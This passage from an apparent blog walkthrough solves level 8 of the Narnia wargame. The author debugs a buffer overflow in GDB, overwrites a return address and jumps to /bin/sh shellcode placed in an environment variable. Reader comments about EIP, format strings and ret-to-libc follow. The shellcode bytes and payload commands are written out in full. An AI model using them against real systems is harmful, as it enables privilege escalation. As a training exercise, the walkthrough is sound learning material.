0xffffd8b0:     0x41414141 <--  0x41414141      0x41414141      0x41414141 - Start of blah
0xffffd8c0:     0x41414141      0x42424242      0x45485300      0x2f3d4c4c
0xffffd8d0:     0x2f6e6962      0x68736162      0x52455400      0x74783d4d
0xffffd8e0:     0x006d7265      0x5f485353      0x45494c43      0x323d544e
(gdb) r $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff")')

Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd670:     0x08048580      0xffffd688      0x00000014      0xf7fceff4
0xffffd680:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd690:     0x41414141      0x41414141      0x41414141      0xffffd8b0 <-- Now contains the location for blah
0xffffd6a0:     0xffffffff      0xf7e5f116      0xffffd6c8      0x0804848d <-- RET Address
0xffffd6b0:     0xffffd8b0      0x00000000      0x080484b9      0xf7fceff4

We now should be able to continue overflowing past the current point and overwrite the RET. There are 12 bytes between our current point and the RET address, so I modify the input to account for this information.

(gdb) r $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')

Breakpoint 1, 0x08048467 in func ()
(gdb) x/160wx $esp
0xffffd660:     0x08048580      0xffffd678      0x00000014      0xf7fceff4
0xffffd670:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd680:     0x41414141      0x41414141      0x41414141      0xffff42b0 <-- Now contains the location for blah
0xffffd690:     0xffffffff      0xf7e5f116      0xffffd6b8      0x0804848d <-- RET Address
0xffffd6a0:     0xffffd8a0      0x00000000      0x080484b9      0xf7fceff4
-- omitted output --
0xffffd880:     0x00000000      0x00000000      0x672f0000      0x73656d61
0xffffd890:     0x72616e2f      0x2f61696e      0x6e72616e      0x00386169
0xffffd8a0:     0x41414141 <--  0x41414141      0x41414141      0x41414141 - Location of blah
0xffffd8b0:     0x41414141      0xffffd8b0      0x41414141      0x41414141
0xffffd8c0:     0x41414141      0x42424242      0x45485300      0x2f3d4c4c
0xffffd8d0:     0x2f6e6962      0x68736162      0x52455400      0x74783d4d

So we weren’t able to overwrite the RET with the new input. This is because as we increase the length of the input, the location of blah changes. Which means we just need to update the memory address in the input.

(gdb) r $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)')

Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd660:     0x08048580      0xffffd678      0x00000014      0xf7fceff4
0xffffd670:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd680:     0x41414141      0x41414141      0x41414141      0xffffd8a0
0xffffd690:     0x41414141      0x41414141      0x41414141      0x42424242 <-- RET Address
0xffffd6a0:     0xffffd8a0      0x00000000      0x080484b9      0xf7fceff4

We have now successfully overwritten the RET address with 4 B’s and now all that is left to do is to attach the shellcode. The only option we have is to place the shellcode in an environmental variable, because the smallest amount of bytes needed for a “/bin/sh” shellcode I’ve seen and used is 25 bytes. In the below section, I go through the process of creating an Environmental variable containing the shellcode and then I just use GDB to have a look at the stack to find the shellcode.

 

export SC=$(python -c'print("\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')
-- omitted output --
0xffffdef8:     0x494c0038      0x3d53454e      0x53003236      0x90903d43
0xffffdf08:     0x90909090 <--  0x90909090      0x90909090      0x90909090 - Start of shellcode
0xffffdf18:     0x90909090      0x90909090      0x90909090      0x6850c031
0xffffdf28:     0x68732f2f      0x69622f68      0x50e3896e      0x89e18953
0xffffdf38:     0xcd0bb0c2      0x4f480080      0x2f3d454d      0x656d6f68
0xffffdf48:     0x72616e2f      0x3861696e      0x4c485300      0x313d4c56
0xffffdf58:     0x474f4c00      0x454d414e      0x72616e3d      0x3861696e
0xffffdf68:     0x48535300      0x4e4f435f      0x5443454e      0x3d4e4f49
-- omitted output --
(gdb) r $(python -c'print("\x41"*20 + "\xa1\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia8 $(python -c'print("\x41"*20 + "\xa1\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')

Breakpoint 2, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd660:     0x08048580      0xffffd678      0x00000014      0xf7fceff4
0xffffd670:     0x080484b0      0x08049794      0x41414141      0x41414141
0xffffd680:     0x41414141      0x41414141      0x41414141      0xffffd8a1
0xffffd690:     0x41414141      0x41414141      0x41414141      0xffffdf08
0xffffd6a0:     0xffffd8a1      0x00000000      0x080484b9      0xf7fceff4
0xffffd6b0:     0x080484b0      0x00000000      0x00000000      0xf7e454b3
0xffffd6c0:     0x00000002      0xffffd754      0xffffd760      0xf7fd3000
0xffffd6d0:     0x00000000      0xffffd71c      0xffffd760      0x00000000
0xffffd6e0:     0x0804820c      0xf7fceff4      0x00000000      0x00000000
0xffffd6f0:     0x00000000      0x64f5254f      0x53f0415f      0x00000000
0xffffd700:     0x00000000      0x00000000      0x00000002      0x08048340
0xffffd710:     0x00000000      0xf7ff0a90      0xf7e453c9      0xf7ffcff4
0xffffd720:     0x00000002      0x08048340
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAA¡ØÿÿAAAAAAAAAAAßÿÿ¡Øÿÿ

Breakpoint 3, 0xffffdf08 in ?? ()
(gdb) c
Continuing.
process 10175 is executing new program: /proc/10175/exe
/proc/10175/exe: Permission denied.

NOTE: I had to change the memory address for blah, as it changed again after the shellcode was added to an environment variable.

Unfortunately though in GDB I was able to hit the shellcode successfully but outside GDB I was not able to successfully land on my nope sled and hit my shellcode. So wghat I decided to do pipe my output in xxd, like I did originally to identify the memory addresses, to see what they are being changed too.

narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
AAAAAAAAAAAAAAAAAAAA Aÿÿÿÿÿÿñå÷èÖÿ¯Øÿÿ
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xa0\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")') | xxd
0000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000010: 4141 4141 a041 ffff ffff ffff 16f1 e5f7  AAAA.A..........
0000020: e8d6 ffff 8d84 0408 afd8 ffff 0a         .............

In the output from xxd, I can see that the memory address for blah is being changed to 0xffffd8af, so my original value is being changed by 16 bytes. I made the modifications and run the code again.

narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("\x41"*20 + "\xaf\xd8\xff\xff" + "\x41"*12 + "\x08\xdf\xff\xff")')
AAAAAAAAAAAAAAAAAAAA¯ØÿÿAAAAAAAAAAAßÿÿ¯Øÿÿ
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
**********

Level 9

A challenge for this level has not been created yet.

Advertisements

8 comments

  1. hi i have a question about level 6 you said you confirmed that you can overwrite the EIP pointer my question is how did you confirmed that? and how do you recognise that it is an eip register address

    1. I can confirm that the EIP pointer has been overwritten by the information in the debugger from the crash, as shown in the first two GDB output in the post.

      —–
      Program received signal SIGSEGV, Segmentation fault.
      0x42424242 in ?? ()
      —–

      1. HI Thanks for that.

        I am trying to learn in level 7 you have reffered some books can you please provide good books which I can use to study as the peoblem I am facing is that.

        I reach conclusions theraticaly but I am unable to impliment them maybe due to lack of knowledge of tools such as gdb etc.

        Thanks in advance.

      2. Hi Kunal, sorry for the delay.

        Well with that challenge (level 7 from the Narnia series) specifically the book that I used was Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed. The 12th chapter covers how to write to a memory location via a format string vulnerability. Another good book is “Hacking, The art of exploitation 2nd”, it also has a complete section on format strings.

        Have a look at the Smash The Stack IO series – http://io.smashthestack.org:84/, these are SUID binary challenges as well.

        The best way to get familiar with tools such as GDB is just to use them, have a look at cheatsheets as reference material for using GDB as well. If you look back through my posts, the way I use GDB changes over time as I get more familiar and confident with using it.

  2. Hi
    I have 3 doubts in level 7 .

    1.) can we call this technique as ret to libc
    2.) Why are we not passing the shellcode as arguement , is it because of the less space available
    3.) How are you identifying the exact location to pass the arguement for system function
    for eg here its atfer 8 B’s to the second arguement

    1. So I had a minute of confusion with the placing of the “/bin/sh” after the 8 B’s as well. So I’ll leave this here for others…What has to happen is after we exploit to call “system” we have to pass “system” some argument, in this case “/bin/sh”. The system call will take whatever was last pushed on to the stack as the argument. So the final thing we have to do after changing EIP is push “/bin/sh” onto the stack. This is why it comes as the last thing done.

      You can run the exploit and set a breakpoint for the second , then run “x/50x $esp”, hit enter a few times to find the last thing on the stack before the end of the program. It should be: 2f 62 69 6e 2f 73 68 which is “/bin/sh/” in hex form…

      Someone correct me if I’m wrong with this explination…I’m new to this and don’t want to spread wrong info.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s